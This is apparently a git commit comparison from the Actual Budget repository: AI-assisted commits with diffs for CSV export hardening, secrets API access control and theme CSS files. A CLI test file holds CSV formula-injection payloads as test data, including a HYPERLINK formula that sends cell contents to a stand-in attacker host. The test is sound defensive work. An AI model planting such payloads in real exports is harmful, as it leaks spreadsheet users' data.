Compare commits

...

10 Commits

Author SHA1 Message Date
Matt Fiddaman
a587ed3ebc automation UI: add increase/decrease functionality (#7881)
* add increase/decrease

* note

* coderabbit
2026-05-17 21:23:12 +00:00
Alec Bakholdin
390ed57c46 Tag autocomplete v2 (#7654)
* [AI] Make TypeScript work in test files across packages

Match the CRDT package's tsconfig pattern in loot-core, desktop-client,
api, and desktop-electron so test files participate in the project graph
(IDE intellisense, project-wide typecheck) while production builds still
emit clean declaration files.

- Remove test-file exclusions from each package's main tsconfig
- Add tsconfig.build.json for loot-core and api with test exclusions,
  used by the build scripts
- Add e2e/tsconfig.json for desktop-client and desktop-electron with
  Playwright types
- Fix latent type errors in test files now caught by typecheck
- Disable typescript/unbound-method for test files (mock matcher pattern)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* [AI] Address review feedback on test type fixes

- goal-template.test.ts: extract amounts to typed locals so single-value
  assertions no longer compare against unknown
- category-template-context.test.ts: replace `as unknown as DbCategory`
  double-cast with a fully-typed object using `satisfies DbCategory`
  (the previous mock had `is_income: true` which doesn't match the
  `1 | 0` shape the cast was hiding)
- api/tsconfig.build.json: broaden test exclude pattern to `**/*.test.ts`

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* [AI] Drop tsconfig.build.json for loot-core and api

The build-config indirection was incomplete protection: typecheck
(`tsgo -b` against the main tsconfig, which now includes test files)
already emits `*.test.d.ts` into `@types/`, and the build step does
not clean before re-emitting. The same is observable in crdt's
`dist/`, which currently contains test declarations on disk.

What actually keeps test declarations out of the npm tarball is the
`files` field in package.json — and loot-core already uses that
mechanism for source files (`\!src/**/*.test.ts`). Extending the same
pattern to `@types/` is more direct than maintaining a duplicate
tsconfig that doesn't reliably do its job.

- Delete loot-core/tsconfig.build.json; revert build to `tsgo -b`;
  add `\!@types/**/*.test.d.ts*`, `\!@types/**/__tests__/**`,
  `\!@types/**/__mocks__/**` to `files`.
- Delete api/tsconfig.build.json; revert build to
  `vite build && tsgo --emitDeclarationOnly`; add
  `\!@types/**/*.test.d.ts*` to `files`.

Verified: `yarn pack --dry-run` excludes all test declarations from
both packages while production declarations still pack (428 .d.ts
files for loot-core, methods.d.ts for api).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* first pass at implementation

* finished implementing what I feel would be a good user experience

* padding update

* added ability to use tab to select

* release notes

* updated release notes

* auto highlights first entry

* removed debug info

* linting formatting

* updated behavior with tags in the middle of stuff

* minor improvements to ux

* extracted TagAutocomplete functionality into its own file

* rewrote TagAutocomplete using react-aria-components from scratch

* linting

* restored old autocomplete since I'm no longer using it

* linting

* capped results at 10

* bugfix

* used tag css hook instead of notes tag formatter

* added mobile support

* fixed bug where inserting a tag at the end of the note wouldn't fire onChange handler

* fixed bug where note would hover even though field was not focused

* fixed bug with currentWord detection

* some more minor UI bugs with the mobile UI

* removed log statement

* added aria-label

* [autofix.ci] apply automated fixes

* name to Input

* updatedt ests

* fixed tests

* whitespace adjustment

* removed debug from test

* added tests and made a few fixes

* tried to fix vrt

* some new hooks to use

* removed log statement

* removed input from useCursorPosition

* input ref value hook now triggers on mount

* add extra padding

* hide browser autocomplete when our popup is shown to avoid doubles

* useFilteredTags hook and adjustments to mobile tag UI

* switched from opacity to height transitioning

* sorted filtered tags by startsWith first

* updated highlighting logic for mouseover

* [autofix.ci] apply automated fixes

* fix tag ordering

* button type

* [autofix.ci] apply automated fixes

* release note update

* release note to trigger ci

* reverted db change

* Revert "reverted db change"

This reverts commit 24ce5450e5.

* added fzf

---------

Co-authored-by: github-actions[bot] <matiss@mja.lv>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Co-authored-by: Alec Bakholdin <alecbakholdin.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-17 18:57:45 +00:00
Sebastián Maluk
fee8fbccd1 [AI] Fix balance forecast all future range (#7849)
* [AI] Fix forecast all future range

* [AI] Add release note for balance forecast range fix
2026-05-17 18:52:54 +00:00
mehmet turac
44f1aac59a [AI] Fix CSV preview category normalization (#7878) 2026-05-17 17:58:37 +00:00
Matiss Janis Aboltins
67a439f13f [AI] Tighten VRT per-pixel threshold so faint overlays fail (#7864)
* [AI] Tighten VRT per-pixel threshold so faint overlays fail

Playwright's default `threshold: 0.2` translates to a pixelmatch YIQ
delta cutoff of ~1408, which silently swallows low-alpha overlays. PR
#7841 striped the transactions table with rgba(..., .15); the resulting
per-pixel deltas (~270 light, ~320 dark) fell below the cutoff, so VRT
reported 0 diff pixels and passed despite a clearly visible change.

Drop `threshold` to 0.05 (cutoff ~88) so faint tints are flagged while
keeping headroom for anti-aliasing noise.

* [AI] Apply VRT threshold to electron config and drop redundant local override

- Remove `maxDiffPixels: 5` from `toMatchThemeScreenshots` — it duplicates
  the global config and obscured the fact that per-call options would
  override the global threshold if added there too.
- Mirror the threshold in desktop-electron's playwright config so its
  VRT screenshots are subject to the same sensitivity.
- Tighten the threshold comment: drop the PR/task reference per
  AGENTS.md and the worked-example numbers; keep the formula and the
  low-alpha rationale.

* Add release notes for PR #7864

* Revert "[AI] Apply VRT threshold to electron config and drop redundant local override"

This reverts commit ec789703ea.

* Revert "[AI] Tighten VRT per-pixel threshold so faint overlays fail"

This reverts commit 334954bb33.

* [AI] Remove stale release note for reverted threshold change

* Revert "[AI] Remove stale release note for reverted threshold change"

This reverts commit 90f97d95f3.

* Reapply "[AI] Tighten VRT per-pixel threshold so faint overlays fail"

This reverts commit 98d0f8b3e7.

* Reapply "[AI] Apply VRT threshold to electron config and drop redundant local override"

This reverts commit 23f94362ec.

* Update VRT screenshots

Auto-generated by VRT workflow

PR: #7864

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-05-17 17:26:05 +00:00
Matt Fiddaman
28f7770913 deprecate rule action templating in favour of formulae (#7865)
* add deprecation warning

* note
2026-05-17 17:14:28 +00:00
Matiss Janis Aboltins
068185751c [AI] Prevent CSV formula injection in exports and CLI output (#7859)
* [AI] Neutralize CSV formula-injection in CLI output and transaction export

Prefix cells starting with =, +, -, @, tab, or CR with a single quote so
that user-controlled strings (payee/account/category/tag names, notes,
etc.) cannot evaluate as formulas when the CSV is opened in Excel,
LibreOffice Calc, or Google Sheets. Numeric values are left unprefixed.

- packages/cli/src/output.ts: harden escapeCsv used by --format csv
- packages/loot-core/src/server/transactions/export/export-to-csv.ts:
  pass a cast.string option to csv-stringify

* [AI] Simplify CSV formula-injection guard

- Drop the FormattedCell type; check typeof value === 'number' inline in
  the CSV path instead of threading an isNumeric flag through formatCellValue
- Shorten verbose comments and drop standards-body references

* [AI] Remove @ts-strict-ignore from export-to-csv test

* [AI] Add release notes for CSV formula-injection fix

* [AI] Quote CSV cells containing carriage returns

Per RFC 4180, bare \r inside an unquoted field can be interpreted as
a record terminator. Extend escapeCsv to also quote on \r so neutralized
formula payloads (e.g. "'\rHELLO") are emitted as a single cell.

* [autofix.ci] apply automated fixes

* [AI] Rephrase release note in user-facing language

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-16 21:05:40 +00:00
Matiss Janis Aboltins
8f0265e0b0 [AI] Convert built-in themes from TypeScript to CSS files (#7851)
* [AI] Convert theme color TS modules to CSS files with CSS variables

Replace `palette.ts` and `themes/{light,dark,midnight}.ts` with plain CSS
files that declare the same variables directly via `:root` blocks. The
palette becomes `--palette-*` variables; each theme defines `--color-*`
variables referencing those (or other `--color-*` for intra-theme aliases).

`theme.tsx` and Storybook's `preview.tsx` now import each CSS file as a
string via Vite's `?inline` query and render two `<style>` tags (palette +
active theme) instead of building the variable declarations at runtime
from a TS object.

Auto/dark-preference selection, `prefers-color-scheme` listening, the
custom-theme baseTheme override, and the `CustomThemeStyle` override layer
are all preserved.

* [AI] Move theme CSS files to component-library

Move palette.css and themes/{light,dark,midnight}.css from desktop-client's
style/ directory into component-library at src/themes/, and add explicit
package.json exports for each. desktop-client's theme.tsx now imports them
via `@actual-app/components/themes/*.css?inline`, and Storybook's
preview.tsx uses a normal relative path inside its own package instead of
reaching across the monorepo boundary.

* [AI] Minimize theme.tsx rename churn

Keep the original variable names — `themes[*].colors`, `themeColors` state,
`lightColors` / `darkColors` locals, and `getBaseThemeColors` — even though
they now hold CSS strings rather than color objects. Limits the diff to the
import changes, the state type, and the render path.

* [AI] Add release note for theme CSS conversion

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 21:05:02 +00:00
Matiss Janis Aboltins
3494f78c94 [AI] Restrict secrets API access to admins in OpenID mode (#7862)
* [AI] Require admin for GET /secret/:name in OpenID mode

The GET handler only verified an authenticated session, while the
sibling POST handler enforced an admin gate when the active auth
method is openid. A non-admin BASIC user in an OpenID multi-user
deployment could enumerate which admin-managed bank-sync secrets
were configured by probing 204 vs 404 responses.

Factor the auth-method + admin check into a shared helper used by
both POST and GET, and restrict the GET :name parameter to the
known SecretName enum so unrelated probing returns 404 up front.

* [AI] Simplify secrets auth guard after review

- Use existing getActiveLoginMethod() helper instead of duplicating
  the SELECT inline; drop the redundant try/catch.
- Validate the secret name against the SecretName enum before doing
  the auth-method DB query so bogus probes fail fast.
- Switch the enum membership check from hasOwnProperty.call to the
  more idiomatic in operator.
- Tighten the function-header comment to a single WHY line.
- Drop the dead else-branch from the test helper.

* [AI] Move response building back into the secrets handlers

Reshape the helper as canManageSecrets(userId) - a pure predicate over
the user. Each handler now owns its own 403 response so request/response
plumbing stays inside the route handlers.

* [AI] Undo testSecretName -> validSecretName rename

Reuse the original testSecretName / testSecretValue constants; only
the value of testSecretName changes to a real SecretName so the GET
handler's enum check accepts it.

* [AI] Add release note for #7862

* [AI] Validate POST secret name and tighten GET auth ordering

- POST /secret/ now rejects names not in the SecretName enum with 400.
- GET /secret/:name runs the admin check before the enum check so
  non-admins in OpenID mode get a uniform 403 regardless of whether
  the requested name is valid.
- Add tests for both: admin POST success in OpenID mode, and POST 400
  for unknown secret names.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 20:59:31 +00:00
Matiss Janis Aboltins
46c350613c [AI] Upgrade vite-plugin-node-polyfills to 0.27.0 (#7860)
* [AI] Upgrade vite-plugin-node-polyfills to 0.27.0

Bumps `vite-plugin-node-polyfills` from `^0.26.0` to `^0.27.0` in
`packages/loot-core`.

Changelog: https://github.com/davidmyersdev/vite-plugin-node-polyfills/releases/tag/v0.27.0
Related upstream issue (already referenced from `vite.config.mts`):
https://github.com/davidmyersdev/vite-plugin-node-polyfills/issues/142

* [AI] Add release note for vite-plugin-node-polyfills upgrade

* [AI] Remove stale upstream issue reference from vite config

The link pointed at davidmyersdev/vite-plugin-node-polyfills#142, which
no longer needs a workaround note alongside the `nodePolyfills` call.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 15:03:52 +00:00
149 changed files with 2460 additions and 1069 deletions

View File

@@ -154,6 +154,50 @@ describe('formatOutput', () => {
expect(result).toContain('166500');
expect(result).not.toContain('1665.00');
});
describe('formula-injection neutralization', () => {
it.each([['=1+1'], ['+1+1'], ['-2+3'], ['@SUM(1+1)'], ['\tHELLO']])(
'prefixes a leading %j with a single quote',
payload => {
const data = [{ val: payload }];
const result = formatOutput(data, 'csv');
expect(result).toBe(`val\n'${payload}`);
},
);
it('prefixes and quotes a leading carriage return', () => {
const data = [{ val: '\rHELLO' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\n"\'\rHELLO"');
});
it('quotes values containing a carriage return mid-string', () => {
const data = [{ val: 'line1\rline2' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\n"line1\rline2"');
});
it('neutralizes formula triggers even when the value also needs quoting', () => {
const data = [{ val: '=HYPERLINK("http://attacker/?d="&B2,"x")' }];
const result = formatOutput(data, 'csv');
const lines = result.split('\n');
expect(lines[1]).toBe(
'"\'=HYPERLINK(""http://attacker/?d=""&B2,""x"")"',
);
});
it('does not neutralize trigger characters that appear mid-string', () => {
const data = [{ val: 'a+b' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\na+b');
});
it('does not prefix negative amount values', () => {
const data = [{ amount: -2500 }];
const result = formatOutput(data, 'csv');
expect(result).toBe('amount\n-25.00');
});
});
});
});

View File

@@ -73,9 +73,7 @@ function formatCsv(data: unknown): string {
if (data && typeof data === 'object') {
const entries = Object.entries(data);
const header = entries.map(([k]) => escapeCsv(k)).join(',');
const values = entries
.map(([k, v]) => escapeCsv(formatCellValue(k, v)))
.join(',');
const values = entries.map(([k, v]) => formatCsvCell(k, v)).join(',');
return header + '\n' + values;
}
return String(data);
@@ -89,14 +87,31 @@ function formatCsv(data: unknown): string {
const header = keys.map(k => escapeCsv(k)).join(',');
const rows = data.map(row => {
const r = row as Record<string, unknown>;
return keys.map(k => escapeCsv(formatCellValue(k, r[k]))).join(',');
return keys.map(k => formatCsvCell(k, r[k])).join(',');
});
return [header, ...rows].join('\n');
}
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
function formatCsvCell(key: string, value: unknown): string {
let formatted = formatCellValue(key, value);
// Skip neutralization for numeric values so legitimate negative amounts
// like "-25.00" aren't quoted as text.
if (typeof value !== 'number' && FORMULA_TRIGGERS.test(formatted)) {
formatted = "'" + formatted;
}
return escapeCsv(formatted);
}
function escapeCsv(value: string): string {
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
if (
value.includes(',') ||
value.includes('"') ||
value.includes('\n') ||
value.includes('\r')
) {
return '"' + value.replace(/"/g, '""') + '"';
}
return value;

View File

@@ -2,19 +2,15 @@ import { type ReactNode } from 'react';
import type { Preview } from '@storybook/react-vite';
// Not ideal to import from desktop-client, but we need a source of truth for theme variables
// TODO: this needs refactoring
// oxlint-disable-next-line actual/enforce-boundaries
import * as darkTheme from '../../desktop-client/src/style/themes/dark';
// oxlint-disable-next-line actual/enforce-boundaries
import * as lightTheme from '../../desktop-client/src/style/themes/light';
// oxlint-disable-next-line actual/enforce-boundaries
import * as midnightTheme from '../../desktop-client/src/style/themes/midnight';
import darkThemeCss from '../src/themes/dark.css?inline';
import lightThemeCss from '../src/themes/light.css?inline';
import midnightThemeCss from '../src/themes/midnight.css?inline';
import paletteCss from '../src/themes/palette.css?inline';
const THEMES = {
light: lightTheme,
dark: darkTheme,
midnight: midnightTheme,
light: lightThemeCss,
dark: darkThemeCss,
midnight: midnightThemeCss,
} as const;
type ThemeName = keyof typeof THEMES;
@@ -30,13 +26,10 @@ const ThemedStory = ({
throw new Error(`No theme specified`);
}
const css = Object.entries(THEMES[themeName])
.map(([key, value]) => `--color-${key}: ${value};`)
.join('\n');
return (
<div>
<style>{`:root {\n${css}}`}</style>
<style>{paletteCss}</style>
<style>{THEMES[themeName]}</style>
{children}
</div>
);

View File

@@ -31,6 +31,10 @@
"./text": "./src/Text.tsx",
"./text-one-line": "./src/TextOneLine.tsx",
"./theme": "./src/theme.ts",
"./themes/palette.css": "./src/themes/palette.css",
"./themes/light.css": "./src/themes/light.css",
"./themes/dark.css": "./src/themes/dark.css",
"./themes/midnight.css": "./src/themes/midnight.css",
"./tokens": "./src/tokens.ts",
"./toggle": "./src/Toggle.tsx",
"./tooltip": "./src/Tooltip.tsx",

View File

@@ -0,0 +1,250 @@
:root {
--color-pageBackground: var(--palette-gray900);
--color-pageBackgroundModalActive: var(--palette-gray800);
--color-pageBackgroundTopLeft: var(--palette-navy800);
--color-pageBackgroundBottomRight: var(--palette-gray700);
--color-pageBackgroundLineTop: var(--palette-purple400);
--color-pageBackgroundLineMid: var(--palette-navy900);
--color-pageBackgroundLineBottom: var(--palette-navy150);
--color-pageText: var(--palette-navy150);
--color-pageTextLight: var(--palette-navy300);
--color-pageTextSubdued: var(--palette-navy500);
--color-pageTextDark: var(--palette-navy100);
--color-pageTextPositive: var(--palette-purple200);
--color-pageTextLink: var(--palette-purple400);
--color-pageTextLinkLight: var(--palette-purple200);
--color-cardBackground: var(--palette-gray800);
--color-cardBorder: var(--palette-purple400);
--color-cardShadow: var(--palette-navy700);
--color-tableBackground: var(--palette-navy800);
--color-tableRowBackgroundHover: var(--palette-navy700);
--color-tableText: var(--palette-navy150);
--color-tableTextLight: var(--color-tableText);
--color-tableTextSubdued: var(--palette-navy500);
--color-tableTextSelected: var(--palette-navy150);
--color-tableTextHover: var(--palette-navy400);
--color-tableTextInactive: var(--palette-navy500);
--color-tableHeaderText: var(--palette-navy300);
--color-tableHeaderBackground: var(--palette-navy700);
--color-tableBorder: var(--palette-navy600);
--color-tableBorderSelected: var(--palette-purple400);
--color-tableBorderHover: var(--palette-purple300);
--color-tableBorderSeparator: var(--palette-navy400);
--color-tableRowBackgroundHighlight: var(--palette-purple800);
--color-tableRowBackgroundHighlightText: var(--palette-navy150);
--color-tableRowHeaderBackground: var(--palette-navy700);
--color-tableRowHeaderText: var(--palette-navy150);
--color-numberPositive: var(--palette-green300);
--color-numberNegative: var(--palette-red200);
--color-numberNeutral: var(--palette-navy500);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange300);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-navy900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green500);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemBackgroundHover: var(--palette-navy700);
--color-sidebarItemText: var(--palette-navy150);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-navy300);
--color-menuBackground: var(--palette-navy800);
--color-menuItemBackground: var(--palette-navy800);
--color-menuItemBackgroundHover: var(--palette-navy500);
--color-menuItemText: var(--palette-navy100);
--color-menuItemTextHover: var(--palette-navy50);
--color-menuItemTextSelected: var(--palette-purple400);
--color-menuItemTextHeader: var(--palette-purple200);
--color-menuBorder: var(--palette-navy900);
--color-menuBorderHover: var(--palette-purple400);
--color-menuKeybindingText: var(--palette-purple200);
--color-menuAutoCompleteBackground: var(--palette-navy900);
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
--color-menuAutoCompleteText: var(--palette-navy200);
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
--color-menuAutoCompleteItemText: var(--color-menuItemText);
--color-modalBackground: var(--palette-gray800);
--color-modalBorder: var(--palette-navy600);
--color-mobileHeaderBackground: var(--palette-purple800);
--color-mobileHeaderText: var(--palette-navy150);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
--color-mobilePageBackground: var(--palette-navy700);
--color-mobileNavBackground: var(--palette-navy800);
--color-mobileNavItem: var(--palette-navy150);
--color-mobileNavItemSelected: var(--palette-purple400);
--color-mobileAccountShadow: var(--color-cardShadow);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple400);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple700);
--color-markdownDark: var(--palette-purple500);
--color-markdownLight: var(--palette-purple800);
--color-buttonMenuText: var(--palette-navy200);
--color-buttonMenuTextHover: var(--color-buttonMenuText);
--color-buttonMenuBackground: transparent;
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-navy500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple400);
--color-buttonPrimaryBackgroundHover: var(--palette-purple600);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
--color-buttonPrimaryDisabledText: var(--palette-navy700);
--color-buttonPrimaryDisabledBackground: var(--palette-navy400);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-navy150);
--color-buttonNormalTextHover: var(--palette-navy150);
--color-buttonNormalBackground: var(--palette-navy800);
--color-buttonNormalBackgroundHover: var(--palette-navy600);
--color-buttonNormalBorder: var(--palette-navy300);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-purple600);
--color-buttonNormalDisabledText: var(--palette-navy500);
--color-buttonNormalDisabledBackground: var(--palette-navy800);
--color-buttonNormalDisabledBorder: var(--palette-navy500);
--color-calendarText: var(--palette-navy50);
--color-calendarBackground: var(--palette-navy900);
--color-calendarItemText: var(--palette-navy150);
--color-calendarItemBackground: var(--palette-navy800);
--color-calendarSelectedBackground: var(
--color-buttonNormalSelectedBackground
);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green800);
--color-noticeBackgroundLight: var(--palette-green900);
--color-noticeBackgroundDark: var(--palette-green500);
--color-noticeText: var(--palette-green300);
--color-noticeTextLight: var(--palette-green500);
--color-noticeTextDark: var(--palette-green150);
--color-noticeTextMenu: var(--palette-green500);
--color-noticeBorder: var(--palette-green800);
--color-warningBackground: var(--palette-orange800);
--color-warningText: var(--palette-orange300);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange100);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red800);
--color-errorText: var(--palette-red200);
--color-errorTextDark: var(--palette-red150);
--color-errorTextDarker: var(--color-errorTextDark);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple700);
--color-upcomingText: var(--palette-purple100);
--color-upcomingBorder: var(--color-tableBorder);
--color-formLabelText: var(--palette-purple150);
--color-formLabelBackground: var(--palette-blue900);
--color-formInputBackground: var(--palette-navy800);
--color-formInputBackgroundSelected: var(--palette-navy700);
--color-formInputBackgroundSelection: var(--palette-purple400);
--color-formInputBorder: var(--palette-navy600);
--color-formInputTextReadOnlySelection: var(--palette-navy800);
--color-formInputBorderSelected: var(--palette-purple400);
--color-formInputText: var(--palette-navy150);
--color-formInputTextSelected: var(--palette-black);
--color-formInputTextPlaceholder: var(--palette-navy150);
--color-formInputTextPlaceholderSelected: var(--palette-navy100);
--color-formInputTextSelection: var(--palette-navy800);
--color-formInputShadowSelected: var(--palette-purple200);
--color-formInputTextHighlight: var(--palette-purple400);
--color-checkboxText: var(--color-tableText);
--color-checkboxBackgroundSelected: var(--palette-purple300);
--color-checkboxBorderSelected: var(--palette-purple300);
--color-checkboxShadowSelected: var(--palette-purple500);
--color-checkboxToggleBackground: var(--palette-gray700);
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
--color-checkboxToggleDisabled: var(--palette-gray400);
--color-pillBackground: var(--palette-navy800);
--color-pillBackgroundLight: var(--palette-navy900);
--color-pillText: var(--palette-navy200);
--color-pillTextHighlighted: var(--palette-purple200);
--color-pillBorder: var(--palette-navy700);
--color-pillBorderDark: var(--color-pillBorder);
--color-pillBackgroundSelected: var(--palette-purple600);
--color-pillTextSelected: var(--palette-navy150);
--color-pillBorderSelected: var(--palette-purple400);
--color-pillTextSubdued: var(--palette-navy500);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--color-pageText);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple700);
--color-noteTagBackgroundHover: var(--palette-purple500);
--color-noteTagDefault: var(--palette-purple700);
--color-noteTagText: var(--palette-purple100);
--color-budgetOtherMonth: var(--palette-navy900);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetHeaderOtherMonth: var(--palette-navy800);
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
--color-floatingActionBarBackground: var(--palette-purple800);
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
--color-floatingActionBarText: var(--palette-navy150);
--color-tooltipText: var(--palette-navy100);
--color-tooltipBackground: var(--palette-navy800);
--color-tooltipBorder: var(--palette-navy700);
--color-calendarCellBackground: var(--palette-navy900);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,250 @@
:root {
--color-pageBackground: var(--palette-navy100);
--color-pageBackgroundModalActive: var(--palette-navy200);
--color-pageBackgroundTopLeft: var(--palette-navy100);
--color-pageBackgroundBottomRight: var(--palette-blue150);
--color-pageBackgroundLineTop: var(--palette-white);
--color-pageBackgroundLineMid: var(--palette-navy100);
--color-pageBackgroundLineBottom: var(--palette-blue150);
--color-pageText: #272630;
--color-pageTextLight: var(--palette-navy500);
--color-pageTextSubdued: var(--palette-navy300);
--color-pageTextDark: var(--palette-navy800);
--color-pageTextPositive: var(--palette-purple600);
--color-pageTextLink: var(--palette-blue600);
--color-pageTextLinkLight: var(--palette-blue300);
--color-cardBackground: var(--palette-white);
--color-cardBorder: var(--palette-purple700);
--color-cardShadow: var(--palette-navy700);
--color-tableBackground: var(--palette-white);
--color-tableRowBackgroundHover: var(--palette-navy50);
--color-tableText: var(--color-pageText);
--color-tableTextLight: var(--palette-navy400);
--color-tableTextSubdued: var(--palette-navy100);
--color-tableTextSelected: var(--palette-navy700);
--color-tableTextHover: var(--palette-navy900);
--color-tableTextInactive: var(--palette-navy500);
--color-tableHeaderText: var(--palette-navy600);
--color-tableHeaderBackground: var(--palette-white);
--color-tableBorder: var(--palette-navy100);
--color-tableBorderSelected: var(--palette-purple500);
--color-tableBorderHover: var(--palette-purple400);
--color-tableBorderSeparator: var(--palette-navy400);
--color-tableRowBackgroundHighlight: var(--palette-blue150);
--color-tableRowBackgroundHighlightText: var(--palette-navy700);
--color-tableRowHeaderBackground: var(--palette-navy50);
--color-tableRowHeaderText: var(--palette-navy800);
--color-numberPositive: var(--palette-green700);
--color-numberNegative: var(--palette-red500);
--color-numberNeutral: var(--palette-navy100);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange700);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-navy900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green500);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemBackgroundHover: var(--palette-navy800);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemText: var(--palette-navy150);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-navy150);
--color-menuBackground: var(--palette-white);
--color-menuItemBackground: var(--palette-navy50);
--color-menuItemBackgroundHover: var(--palette-navy100);
--color-menuItemText: var(--palette-navy900);
--color-menuItemTextHover: var(--color-menuItemText);
--color-menuItemTextSelected: var(--palette-purple300);
--color-menuItemTextHeader: var(--palette-navy400);
--color-menuBorder: var(--palette-navy100);
--color-menuBorderHover: var(--palette-purple100);
--color-menuKeybindingText: var(--palette-navy400);
--color-menuAutoCompleteBackground: var(--palette-navy900);
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
--color-menuAutoCompleteText: var(--palette-white);
--color-menuAutoCompleteTextHover: var(--palette-green150);
--color-menuAutoCompleteTextHeader: var(--palette-orange150);
--color-menuAutoCompleteItemTextHover: var(--color-menuAutoCompleteText);
--color-menuAutoCompleteItemText: var(--color-menuAutoCompleteText);
--color-modalBackground: var(--palette-white);
--color-modalBorder: var(--palette-white);
--color-mobileHeaderBackground: var(--palette-purple400);
--color-mobileHeaderText: var(--palette-navy50);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
